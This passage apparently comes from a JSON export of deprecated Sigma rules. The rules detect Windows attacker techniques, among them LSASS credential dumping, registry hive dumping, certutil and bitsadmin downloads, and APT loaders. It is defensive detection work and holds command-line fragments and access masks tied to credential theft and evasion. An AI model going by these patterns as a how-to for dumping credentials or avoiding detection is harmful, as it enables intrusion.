"content": "title: SyncAppvPublishingServer Execution to Bypass Powershell Restriction\nid: 9f7aa113-9da6-4a8d-907c-5f1a4b908299\nrelated:\n - id: fde7929d-8beb-4a4c-b922-be9974671667\n type: derived\ndescription: Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.\nreferences:\n - https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/\nauthor: 'Ensar Şamil, @sblmsrsn, OSCD Community'\ndate: 2020/10/05\nmodified: 2022/04/11\ntags:\n - attack.defense_evasion\n - attack.t1218\nlogsource:\n product: windows\n service: powershell\ndetection:\n selection:\n - 'SyncAppvPublishingServer.exe'\n condition: selection\nfalsepositives:\n - App-V clients\nlevel: medium\nstatus: deprecated"
},
{
"path": "deprecated/windows/proc_access_win_in_memory_assembly_execution.yml",
"content": "title: Suspicious In-Memory Module Execution\nid: 5f113a8f-8b61-41ca-b90f-d374fa7e4a39\nstatus: deprecated\ndescription: |\n Detects the access to processes by other suspicious processes which have reflectively loaded libraries in their memory space.\n An example is SilentTrinity C2 behaviour. Generally speaking, when Sysmon EventID 10 cannot reference a stack call to a dll loaded from disk (the standard way),\n it will display \"UNKNOWN\" as the module name. Usually this means the stack call points to a module that was reflectively loaded in memory.\n Adding to this, it is not common to see such few calls in the stack (ntdll.dll --> kernelbase.dll --> unknown) which essentially means that\n most of the functions required by the process to execute certain routines are already present in memory, not requiring any calls to external libraries.\n The latter should also be considered suspicious.\nreferences:\n - https://azure.microsoft.com/en-ca/blog/detecting-in-memory-attacks-with-sysmon-and-azure-security-center/\nauthor: Perez Diego (@darkquassar), oscd.community, Jonhnathan Ribeiro\ndate: 2019/10/27\nmodified: 2022/11/17\ntags:\n - attack.privilege_escalation\n - attack.defense_evasion\n - attack.t1055.001\n - attack.t1055.002\nlogsource:\n category: process_access\n product: windows\ndetection:\n selection1:\n CallTrace|contains|all:\n - 'C:\\WINDOWS\\SYSTEM32\\ntdll.dll+'\n - '|C:\\WINDOWS\\System32\\KERNELBASE.dll+'\n - '|UNKNOWN('\n - ')'\n selection2:\n CallTrace|contains|all:\n - 'UNKNOWN('\n - ')|UNKNOWN('\n CallTrace|endswith: ')'\n selection3:\n CallTrace|contains: 'UNKNOWN'\n GrantedAccess:\n - '0x1F0FFF'\n - '0x1F1FFF'\n - '0x143A'\n - '0x1410'\n - '0x1010'\n - '0x1F2FFF'\n - '0x1F3FFF'\n - '0x1FFFFF'\n filter:\n - SourceImage|endswith:\n - '\\Windows\\System32\\sdiagnhost.exe'\n - '\\procexp64.exe'\n - '\\procexp.exe'\n - '\\Microsoft VS Code\\Code.exe'\n - '\\aurora-agent-64.exe'\n - '\\aurora-agent.exe'\n - '\\git\\usr\\bin\\sh.exe'\n - '\\IDE\\devenv.exe'\n - '\\GitHubDesktop\\Update.exe'\n - '\\RuntimeBroker.exe'\n - '\\backgroundTaskHost.exe'\n - '\\GitHubDesktop.exe'\n - SourceImage|startswith:\n - 'C:\\Program Files (x86)\\'\n - 'C:\\Program Files\\'\n - 'C:\\Windows\\Microsoft.NET\\Framework\\\\*\\NGenTask.exe'\n - 'C:\\Program Files (x86)\\Microsoft Visual Studio\\'\n - 'C:\\Program Files\\Microsoft Visual Studio\\'\n - 'C:\\Windows\\Microsoft.NET\\Framework'\n - 'C:\\WINDOWS\\System32\\DriverStore\\'\n - 'C:\\Windows\\System32\\WindowsPowerShell\\'\n - SourceImage:\n - 'C:\\WINDOWS\\system32\\taskhostw.exe'\n - 'C:\\WINDOWS\\system32\\ctfmon.exe'\n - 'C:\\WINDOWS\\system32\\NhNotifSys.exe'\n - 'C:\\Windows\\ImmersiveControlPanel\\SystemSettings.exe'\n - 'C:\\Windows\\explorer.exe'\n - TargetImage: 'C:\\Windows\\System32\\RuntimeBroker.exe'\n - TargetImage|endswith: '\\Microsoft VS Code\\Code.exe'\n - CallTrace|contains: '|C:\\WINDOWS\\System32\\RPCRT4.dll+' # attempt to save the rule with a broader filter\n filter_set_1:\n SourceImage: 'C:\\WINDOWS\\Explorer.EXE'\n TargetImage:\n - 'C:\\WINDOWS\\system32\\backgroundTaskHost.exe'\n - 'C:\\WINDOWS\\explorer.exe'\n filter_msmpeng:\n SourceImage|startswith: 'C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\'\n SourceImage|endswith: '\\MsMpEng.exe'\n filter_eclipse:\n SourceImage|endswith: '\\eclipse.exe'\n CallTrace|contains:\n - '\\jre\\bin\\java.dll'\n - '|C:\\Windows\\SYSTEM32\\windows.storage.dll+'\n - '\\configuration\\org.eclipse.osgi\\'\n filter_openwith:\n SourceImage: 'C:\\Windows\\system32\\OpenWith.exe'\n TargetImage: 'C:\\Windows\\Explorer.EXE'\n filter_teams:\n SourceImage|startswith: 'C:\\Users\\'\n SourceImage|endswith: '\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe'\n TargetImage|endswith:\n - ':\\Windows\\Explorer.EXE'\n - '\\AppData\\Local\\Microsoft\\Teams\\Update.exe'\n - '\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe'\n - '\\MsMpEng.exe'\n filter_wwahost:\n SourceImage: 'C:\\Windows\\System32\\WWAHost.exe'\n TargetImage: 'C:\\Windows\\System32\\svchost.exe'\n filter_sppsvc:\n SourceImage: C:\\WINDOWS\\system32\\sppsvc.exe\n TargetImage: C:\\WINDOWS\\system32\\SppExtComObj.exe\n condition: 1 of selection* and not 1 of filter*\nfields:\n - ComputerName\n - User\n - SourceImage\n - TargetImage\n - CallTrace\nfalsepositives:\n - SysInternals Process Explorer\nlevel: low\n"
},
{
"path": "deprecated/windows/proc_access_win_lazagne_cred_dump_lsass_access.yml",
"content": "title: Credential Dumping by LaZagne\nid: 4b9a8556-99c4-470b-a40c-9c8d02c77ed0\nstatus: stable\ndescription: Detects LSASS process access by LaZagne for credential dumping.\nreferences:\n - https://twitter.com/bh4b3sh/status/1303674603819081728\nauthor: Bhabesh Raj, Jonhnathan Ribeiro\ndate: 2020/09/09\nmodified: 2022/08/13\ntags:\n - attack.credential_access\n - attack.t1003.001\n - attack.s0349\nlogsource:\n category: process_access\n product: windows\ndetection:\n selection:\n TargetImage|endswith: '\\lsass.exe'\n CallTrace|contains|all:\n - 'C:\\Windows\\SYSTEM32\\ntdll.dll+'\n - '|C:\\Windows\\System32\\KERNELBASE.dll+'\n - '_ctypes.pyd+'\n - 'python27.dll+'\n GrantedAccess: '0x1FFFFF'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: critical\n"
},
{
"path": "deprecated/windows/proc_access_win_lsass_susp_access.yml",
"content": "title: Credential Dumping Tools Accessing LSASS Memory\nid: 32d0d3e2-e58d-4d41-926b-18b520b2b32d\nstatus: deprecated\ndescription: Detects processes requesting access to LSASS memory via suspicious access masks. This is typical for credentials dumping tools\nreferences:\n - https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow\n - https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html\n - https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment\n - https://web.archive.org/web/20230420013146/http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf\nauthor: Florian Roth, Roberto Rodriguez, Dimitrios Slamaris, Mark Russinovich, Thomas Patzke, Teymur Kheirkhabarov, Sherif Eldeeb, James Dickenson, Aleksey Potapov, oscd.community\ndate: 2017/02/16\nmodified: 2023/11/30\ntags:\n - attack.credential_access\n - attack.t1003.001\n - attack.s0002\n - car.2019-04-004\nlogsource:\n category: process_access\n product: windows\ndetection:\n selection:\n TargetImage|endswith: '\\lsass.exe'\n GrantedAccess|startswith:\n - '0x40'\n # - '0x1000' # minimum access requirements to query basic info from service\n # - '0x1400'\n - '0x100000'\n - '0x1410' # car.2019-04-004\n # - '0x1010' # car.2019-04-004\n - '0x1438' # car.2019-04-004\n - '0x143a' # car.2019-04-004\n - '0x1418' # car.2019-04-004\n - '0x1f0fff'\n - '0x1f1fff'\n - '0x1f2fff'\n - '0x1f3fff'\n filter_exact:\n SourceImage:\n - 'C:\\WINDOWS\\system32\\taskmgr.exe'\n - 'C:\\Windows\\System32\\perfmon.exe'\n filter_generic:\n SourceImage|startswith:\n - 'C:\\Program Files\\'\n - 'C:\\Program Files (x86)\\'\n GrantedAccess:\n - '0x1410'\n - '0x410'\n filter_defender:\n SourceImage|startswith:\n - 'C:\\ProgramData\\Microsoft\\Windows Defender\\'\n - 'C:\\Program Files\\Windows Defender\\'\n - 'C:\\Program Files\\Microsoft Security Client\\MsMpEng.exe' # Windows7\n SourceImage|endswith: '\\MsMpEng.exe'\n filter_defender_updates:\n SourceImage: 'C:\\Windows\\System32\\svchost.exe'\n CallTrace|contains|all:\n - '|C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\{'\n - '}\\mpengine.dll+'\n GrantedAccess: '0x1418'\n filter_defender_calltrace:\n CallTrace|contains:\n - '|c:\\program files\\windows defender\\mprtp.dll'\n - '|c:\\program files\\windows defender\\MpClient.dll'\n filter_gaming_services:\n SourceImage|startswith: 'C:\\Program Files\\WindowsApps\\'\n SourceImage|endswith: '\\GamingServices.exe'\n GrantedAccess:\n - '0x1410'\n - '0x410'\n filter_specific_granted_access_1:\n SourceImage|endswith:\n - '\\PROCEXP64.EXE'\n - '\\PROCEXP.EXE'\n - 'C:\\WINDOWS\\system32\\taskhostw.exe'\n - '\\MBAMInstallerService.exe'\n GrantedAccess:\n - '0x1410'\n - '0x410'\n - '0x40'\n filter_specific_granted_access_2:\n SourceImage:\n - 'C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe'\n - 'C:\\Windows\\syswow64\\MsiExec.exe'\n - 'C:\\Windows\\System32\\msiexec.exe'\n GrantedAccess:\n - '0x1410'\n - '0x410'\n - '0x1f1fff'\n - '0x1f3fff'\n filter_specific_granted_access_3:\n SourceImage:\n - 'C:\\Windows\\system32\\wininit.exe'\n - 'C:\\Windows\\System32\\lsass.exe'\n GrantedAccess: '0x1000000'\n filter_vmwaretools:\n SourceImage|startswith: 'C:\\ProgramData\\VMware\\VMware Tools\\'\n SourceImage|endswith: '\\vmtoolsd.exe'\n filter_svchost:\n SourceImage: 'C:\\WINDOWS\\system32\\svchost.exe'\n GrantedAccess:\n - '0x100000'\n - '0x1410'\n filter_nextron:\n SourceImage|endswith:\n - '\\thor.exe'\n - '\\thor64.exe'\n - '\\aurora-agent.exe'\n - '\\aurora-agent-64.exe'\n GrantedAccess:\n - '0x40'\n - '0x1010'\n filter_explorer:\n SourceImage|endswith: '\\explorer.exe'\n GrantedAccess: '0x401'\n filter_mrt:\n SourceImage: 'C:\\Windows\\system32\\MRT.exe' # Windows Malicious Software Removal Tool\n GrantedAccess:\n - '0x1410'\n - '0x1418'\n filter_handle:\n GrantedAccess: '0x40'\n SourceImage|endswith:\n - '\\handle.exe'\n - '\\handle64.exe'\n filter_edge: # version in path 96.0.1054.43\n SourceImage|startswith: 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n SourceImage|endswith: '\\Installer\\setup.exe'\n filter_webex:\n SourceImage|endswith: '\\AppData\\Local\\WebEx\\WebexHost.exe'\n GrantedAccess: '0x401'\n filter_malwarebytes:\n SourceImage: 'C:\\PROGRAMDATA\\MALWAREBYTES\\MBAMSERVICE\\ctlrupdate\\mbupdatr.exe'\n GrantedAccess: '0x1410'\n filter_dropbox:\n SourceImage|contains:\n - ':\\Windows\\Temp\\'\n - '\\AppData\\Local\\Temp\\'\n SourceImage|endswith: '.tmp\\DropboxUpdate.exe'\n GrantedAccess:\n - '0x410'\n - '0x1410'\n filter_msbuild:\n # This FP was generated while building CPython from source and could be related to other similar examples.\n # But if you don't do that kind of stuff consider removing it from the rule ;)\n SourceImage|startswith: 'C:\\Program Files\\Microsoft Visual Studio\\'\n SourceImage|endswith: '\\MSBuild\\Current\\Bin\\MSBuild.exe'\n GrantedAccess: '0x1F3FFF'\n # Old - too broad filter\n # SourceImage|endswith: # easy to bypass. need to implement supportive rule to detect bypass attempts\n # - '\\wmiprvse.exe'\n # - '\\taskmgr.exe'\n # - '\\procexp64.exe'\n # - '\\procexp.exe'\n # - '\\lsm.exe'\n # - '\\MsMpEng.exe'\n # - '\\csrss.exe'\n # - '\\wininit.exe'\n # - '\\vmtoolsd.exe'\n filter_games:\n SourceImage|contains: '\\SteamLibrary\\steamapps\\'\n condition: selection and not 1 of filter_*\nfields:\n - ComputerName\n - User\n - SourceImage\nfalsepositives:\n - Likely\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_access_win_pypykatz_cred_dump_lsass_access.yml",
"content": "title: Credential Dumping by Pypykatz\nid: 7186e989-4ed7-4f4e-a656-4674b9e3e48b\nstatus: test\ndescription: Detects LSASS process access by pypykatz for credential dumping.\nreferences:\n - https://github.com/skelsec/pypykatz\nauthor: Bhabesh Raj\ndate: 2021/08/03\nmodified: 2022/10/09\ntags:\n - attack.credential_access\n - attack.t1003.001\nlogsource:\n category: process_access\n product: windows\ndetection:\n selection:\n TargetImage|endswith: '\\lsass.exe'\n CallTrace|contains|all:\n - 'C:\\Windows\\SYSTEM32\\ntdll.dll+'\n - 'C:\\Windows\\System32\\KERNELBASE.dll+'\n - 'libffi-7.dll'\n - '_ctypes.pyd+'\n - 'python3*.dll+' # Pypy requires python>=3.6\n GrantedAccess: '0x1FFFFF'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: critical\n"
},
{
"path": "deprecated/windows/proc_access_win_susp_invoke_patchingapi.yml",
"content": "title: Potential NT API Stub Patching\nid: b916cba1-b38a-42da-9223-17114d846fd6\nstatus: deprecated\ndescription: Detects potential NT API stub patching as seen used by the project PatchingAPI\nreferences:\n - https://web.archive.org/web/20230106211702/https://github.com/D1rkMtr/UnhookingPatch\n - https://twitter.com/D1rkMtr/status/1611471891193298944?s=20\nauthor: frack113\ndate: 2023/01/07\nmodified: 2024/05/27\ntags:\n - attack.defense_evasion\n - attack.t1562.002\nlogsource:\n category: process_access\n product: windows\ndetection:\n selection:\n GrantedAccess: '0x1FFFFF'\n CallTrace|startswith: 'C:\\Windows\\SYSTEM32\\ntdll.dll+'\n CallTrace|contains: '|UNKNOWN('\n CallTrace|endswith: ')'\n filter_main_generic:\n # To avoid FP with installed applications. This filter assumes that if an application is located here. The attacker has already achieved admin rights\n - SourceImage|contains:\n - ':\\Program Files\\'\n - ':\\Program Files (x86)\\'\n - ':\\Windows\\System32\\'\n - ':\\Windows\\SysWOW64\\'\n - TargetImage|contains:\n - ':\\Program Files\\'\n - ':\\Program Files (x86)\\'\n - ':\\Windows\\System32\\'\n - ':\\Windows\\SysWOW64\\'\n filter_optional_thor:\n SourceImage|endswith:\n - '\\thor.exe'\n - '\\thor64.exe'\n filter_optional_githubdesktop:\n SourceImage|contains|all:\n - ':\\Users\\'\n - '\\AppData\\Local\\GitHubDesktop\\app-'\n SourceImage|endswith:\n - '\\GitHubDesktop.exe'\n - '\\resources\\app\\git\\usr\\bin\\sh.exe'\n TargetImage|contains|all:\n - ':\\Users\\'\n - '\\AppData\\Local\\GitHubDesktop\\app-'\n filter_main_dotnet:\n SourceImage|contains: ':\\Windows\\Microsoft.NET\\'\n TargetImage|contains: ':\\Windows\\Microsoft.NET\\'\n filter_main_taskhost:\n SourceImage|contains:\n - ':\\Windows\\system32\\taskhostw.exe'\n - ':\\Windows\\system32\\taskhost.exe'\n TargetImage|contains:\n - ':\\Windows\\Microsoft.NET\\Framework\\v'\n - ':\\Windows\\Microsoft.NET\\Framework64\\v'\n TargetImage|endswith: '\\NGenTask.exe'\n filter_optional_teams_to_update:\n SourceImage|endswith: '\\AppData\\Local\\Microsoft\\Teams\\stage\\Teams.exe'\n TargetImage|endswith: '\\AppData\\Local\\Microsoft\\Teams\\Update.exe'\n filter_optional_teams_update_regsvr32:\n SourceImage|endswith: '\\AppData\\Local\\Microsoft\\Teams\\Update.exe'\n TargetImage|endswith: ':\\WINDOWS\\SysWOW64\\regsvr32.exe'\n filter_optional_teams_update_to_teams:\n SourceImage|endswith: '\\AppData\\Local\\Microsoft\\Teams\\Update.exe'\n TargetImage|endswith: '\\AppData\\Local\\Microsoft\\Teams\\stage\\Teams.exe'\n condition: selection and not 1 of filter_main_* and not 1 of filter_optional_*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_apt_apt29_thinktanks.yml",
"content": "title: APT29\nid: 033fe7d6-66d1-4240-ac6b-28908009c71f\nstatus: deprecated\ndescription: This method detects a suspicious PowerShell command line combination as used by APT29 in a campaign against U.S. think tanks.\nreferences:\n - https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/\n - https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html\nauthor: Florian Roth (Nextron Systems)\ndate: 2018/12/04\nmodified: 2023/03/08\ntags:\n - attack.execution\n - attack.g0016\n - attack.t1059.001\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n CommandLine|contains|all:\n - '-noni'\n - '-ep'\n - 'bypass'\n - '$'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_apt_dragonfly.yml",
"content": "title: CrackMapExecWin\nid: 04d9079e-3905-4b70-ad37-6bdf11304965\nstatus: deprecated\ndescription: Detects CrackMapExecWin Activity as Described by NCSC\nreferences:\n - https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control\n - https://attack.mitre.org/software/S0488/\nauthor: Markus Neis\ndate: 2018/04/08\nmodified: 2023/03/08\ntags:\n - attack.g0035\n - attack.credential_access\n - attack.discovery\n - attack.t1110\n - attack.t1087\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n Image|endswith: '\\crackmapexec.exe'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: critical\n"
},
{
"path": "deprecated/windows/proc_creation_win_apt_gallium.yml",
"content": "title: GALLIUM Artefacts\nid: 18739897-21b1-41da-8ee4-5b786915a676\nrelated:\n - id: 440a56bf-7873-4439-940a-1c8a671073c2\n type: derived\nstatus: deprecated\ndescription: Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.\nreferences:\n - https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/\n - https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)\nauthor: Tim Burrell\ndate: 2020/02/07\nmodified: 2023/03/09\ntags:\n - attack.credential_access\n - attack.t1212\n - attack.command_and_control\n - attack.t1071\nlogsource:\n product: windows\n category: process_creation\ndetection:\n legitimate_process_path:\n Image|contains:\n - ':\\Program Files(x86)\\'\n - ':\\Program Files\\'\n legitimate_executable:\n Hashes|contains: 'SHA1=e570585edc69f9074cb5e8a790708336bd45ca0f'\n condition: legitimate_executable and not legitimate_process_path\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_apt_hurricane_panda.yml",
"content": "title: Hurricane Panda Activity\nid: 0eb2107b-a596-422e-b123-b389d5594ed7\nstatus: deprecated\ndescription: Detects Hurricane Panda Activity\nreferences:\n - https://www.crowdstrike.com/blog/crowdstrike-discovers-use-64-bit-zero-day-privilege-escalation-exploit-cve-2014-4113-hurricane-panda/\nauthor: Florian Roth (Nextron Systems)\ndate: 2019/03/04\nmodified: 2023/03/10\ntags:\n - attack.privilege_escalation\n - attack.g0009\n - attack.t1068\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n - CommandLine|contains|all:\n - 'localgroup'\n - 'admin'\n - '/add'\n - CommandLine|contains: '\\Win64.exe'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_apt_lazarus_activity_apr21.yml",
"content": "title: Lazarus Activity Apr21\nid: 4a12fa47-c735-4032-a214-6fab5b120670\nstatus: deprecated\ndescription: Detects different process creation events as described in Malwarebytes's threat report on Lazarus group activity\nreferences:\n - https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/\nauthor: Bhabesh Raj\ndate: 2021/04/20\nmodified: 2023/03/10\ntags:\n - attack.g0032\n - attack.execution\n - attack.t1106\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_1:\n CommandLine|contains|all:\n - 'mshta' # Covered by cc7abbd0-762b-41e3-8a26-57ad50d2eea3\n - '.zip'\n selection_2:\n ParentImage: 'C:\\Windows\\System32\\wbem\\wmiprvse.exe' # Covered by 8a582fe2-0882-4b89-a82a-da6b2dc32937\n Image: 'C:\\Windows\\System32\\mshta.exe'\n selection_3:\n ParentImage|contains: ':\\Users\\Public\\'\n Image: 'C:\\Windows\\System32\\rundll32.exe'\n condition: 1 of selection_*\nfalsepositives:\n - Should not be any false positives\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_apt_lazarus_loader.yml",
"content": "title: Lazarus Loaders\nid: 7b49c990-4a9a-4e65-ba95-47c9cc448f6e\nstatus: deprecated\ndescription: Detects different loaders as described in various threat reports on Lazarus group activity\nreferences:\n - https://www.hvs-consulting.de/lazarus-report/\n - https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/\nauthor: Florian Roth (Nextron Systems), wagga\ndate: 2020/12/23\nmodified: 2023/03/10\ntags:\n - attack.g0032\n - attack.execution\n - attack.t1059\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_cmd1:\n CommandLine|contains|all:\n - 'cmd.exe /c '\n - ' -p 0x'\n selection_cmd2:\n CommandLine|contains:\n - 'C:\\ProgramData\\'\n - 'C:\\RECYCLER\\'\n selection_rundll1:\n CommandLine|contains|all:\n - 'rundll32.exe '\n - 'C:\\ProgramData\\'\n selection_rundll2:\n CommandLine|contains:\n - '.bin,'\n - '.tmp,'\n - '.dat,'\n - '.io,'\n - '.ini,'\n - '.db,'\n condition: ( selection_cmd1 and selection_cmd2 ) or ( selection_rundll1 and selection_rundll2 )\nfalsepositives:\n - Unknown\nlevel: critical\n"
},
{
"path": "deprecated/windows/proc_creation_win_apt_muddywater_dnstunnel.yml",
"content": "title: DNS Tunnel Technique from MuddyWater\nid: 7454df60-1478-484b-810d-bff5d0ba6d4b\nstatus: deprecated\ndescription: Detecting DNS tunnel activity for Muddywater actor\nreferences:\n - https://www.virustotal.com/gui/file/5ad401c3a568bd87dd13f8a9ddc4e450ece61cd9ce4d1b23f68ce0b1f3c190b7/\n - https://www.vmray.com/analyses/5ad401c3a568/report/overview.html\nauthor: '@caliskanfurkan_'\ndate: 2020/06/04\nmodified: 2023/03/10\ntags:\n - attack.command_and_control\n - attack.t1071.004\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n Image|endswith:\n - '\\powershell.exe'\n - '\\pwsh.exe'\n ParentImage|endswith: '\\excel.exe'\n CommandLine|contains: 'DataExchange.dll'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: critical\n"
},
{
"path": "deprecated/windows/proc_creation_win_apt_ta505_dropper.yml",
"content": "title: TA505 Dropper Load Pattern\nid: 18cf6cf0-39b0-4c22-9593-e244bdc9a2d4\nstatus: deprecated\ndescription: Detects mshta loaded by wmiprvse as parent as used by TA505 malicious documents\nreferences:\n - https://twitter.com/ForensicITGuy/status/1334734244120309760\nauthor: Florian Roth (Nextron Systems)\ndate: 2020/12/08\nmodified: 2023/04/05\ntags:\n - attack.execution\n - attack.g0092\n - attack.t1106\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_parent:\n ParentImage|endswith: '\\wmiprvse.exe'\n selection_mshta:\n - Image|endswith: '\\mshta.exe'\n - OriginalFileName: 'mshta.exe'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: critical\n"
},
{
"path": "deprecated/windows/proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml",
"content": "title: File Download Via Bitsadmin To An Uncommon Target Folder\nid: 6e30c82f-a9f8-4aab-b79c-7c12bce6f248\nstatus: deprecated\ndescription: Detects usage of bitsadmin downloading a file to uncommon target folder\nreferences:\n - https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin\n - https://isc.sans.edu/diary/22264\n - https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/\n - https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/\nauthor: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-06-28\nmodified: 2025-12-10\ntags:\n - attack.defense-evasion\n - attack.persistence\n - attack.t1197\n - attack.s0190\n - attack.t1036.003\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_img:\n - Image|endswith: '\\bitsadmin.exe'\n - OriginalFileName: 'bitsadmin.exe'\n selection_flags:\n CommandLine|contains:\n - ' /transfer '\n - ' /create '\n - ' /addfile '\n selection_folder:\n CommandLine|contains:\n - '%AppData%'\n - '%temp%'\n - '%tmp%'\n - '\\AppData\\Local\\'\n - 'C:\\Windows\\Temp\\'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_certutil_susp_execution.yml",
"content": "title: Suspicious Certutil Command Usage\nid: e011a729-98a6-4139-b5c4-bf6f6dd8239a\nstatus: deprecated\ndescription: Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code\nreferences:\n - https://twitter.com/JohnLaTwC/status/835149808817991680\n - https://blogs.technet.microsoft.com/pki/2006/11/30/basic-crl-checking-with-certutil/\n - https://www.trustedsec.com/2017/07/new-tool-release-nps_payload/\n - https://twitter.com/egre55/status/1087685529016193025\n - https://lolbas-project.github.io/lolbas/Binaries/Certutil/\nauthor: Florian Roth (Nextron Systems), juju4, keepwatch\ndate: 2019/01/16\nmodified: 2023/02/15\ntags:\n - attack.defense_evasion\n - attack.t1140\n - attack.command_and_control\n - attack.t1105\n - attack.s0160\n - attack.g0007\n - attack.g0010\n - attack.g0045\n - attack.g0049\n - attack.g0075\n - attack.g0096\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_img:\n - Image|endswith: '\\certutil.exe'\n - OriginalFileName: 'CertUtil.exe'\n selection_cli:\n CommandLine|contains:\n - ' -decode '\n - ' -decodehex '\n - ' -urlcache '\n - ' -verifyctl '\n - ' -encode '\n - ' -exportPFX '\n - ' /decode '\n - ' /decodehex '\n - ' /urlcache '\n - ' /verifyctl '\n - ' /encode '\n - ' /exportPFX '\n condition: all of selection_*\nfields:\n - CommandLine\n - ParentCommandLine\nfalsepositives:\n - False positives depend on scripts and administrative tools used in the monitored environment\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_cmd_read_contents.yml",
"content": "title: Read and Execute a File Via Cmd.exe\nid: 00a4bacd-6db4-46d5-9258-a7d5ebff4003\nstatus: deprecated\ndescription: Detect use of \"/R <\" to read and execute a file via cmd.exe\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1059.003/T1059.003.md\nauthor: frack113\ndate: 2022/08/20\nmodified: 2023/03/07\ntags:\n - attack.execution\n - attack.t1059.003\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_cmd:\n - OriginalFileName: 'Cmd.Exe'\n - Image|endswith: '\\cmd.exe'\n selection_read:\n - ParentCommandLine|contains|all:\n - 'cmd'\n - '/r '\n - '<'\n - CommandLine|contains|all:\n - 'cmd'\n - '/r '\n - '<'\n condition: all of selection_*\nfalsepositives:\n - Legitimate use\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_cmd_redirect_to_stream.yml",
"content": "title: Cmd Stream Redirection\nid: 70e68156-6571-427b-a6e9-4476a173a9b6\nstatus: deprecated\ndescription: Detects the redirection of an alternate data stream (ADS) of / within a Windows command line session\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md#atomic-test-3---create-ads-command-prompt\nauthor: frack113\ndate: 2022/02/04\nmodified: 2023/03/07\ntags:\n - attack.defense_evasion\n - attack.t1564.004\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n Image|endswith: '\\cmd.exe'\n CommandLine|contains|all:\n - '> '\n - ':'\n filter:\n CommandLine|contains: ' :\\'\n condition: selection and not filter\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_credential_acquisition_registry_hive_dumping.yml",
"content": "title: Credential Acquisition via Registry Hive Dumping\nid: 4d6c9da1-318b-4edf-bcea-b6c93fa98fd0\nstatus: deprecated\ndescription: Detects Credential Acquisition via Registry Hive Dumping\nreferences:\n - https://www.elastic.co/guide/en/security/current/credential-acquisition-via-registry-hive-dumping.html\nauthor: Tim Rauch\ndate: 2022/10/04\nmodified: 2023/02/06\ntags:\n - attack.credential_access\n - attack.t1003\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_1:\n - Image|endswith: '\\reg.exe'\n - OriginalFileName: 'reg.exe'\n selection_2:\n CommandLine|contains:\n - ' save '\n - ' export '\n selection_3:\n CommandLine|contains:\n - 'hklm\\sam'\n - 'hklm\\security'\n - 'HKEY_LOCAL_MACHINE\\SAM'\n - 'HKEY_LOCAL_MACHINE\\SECURITY'\n condition: all of selection_*\nlevel: high\n"
},
{
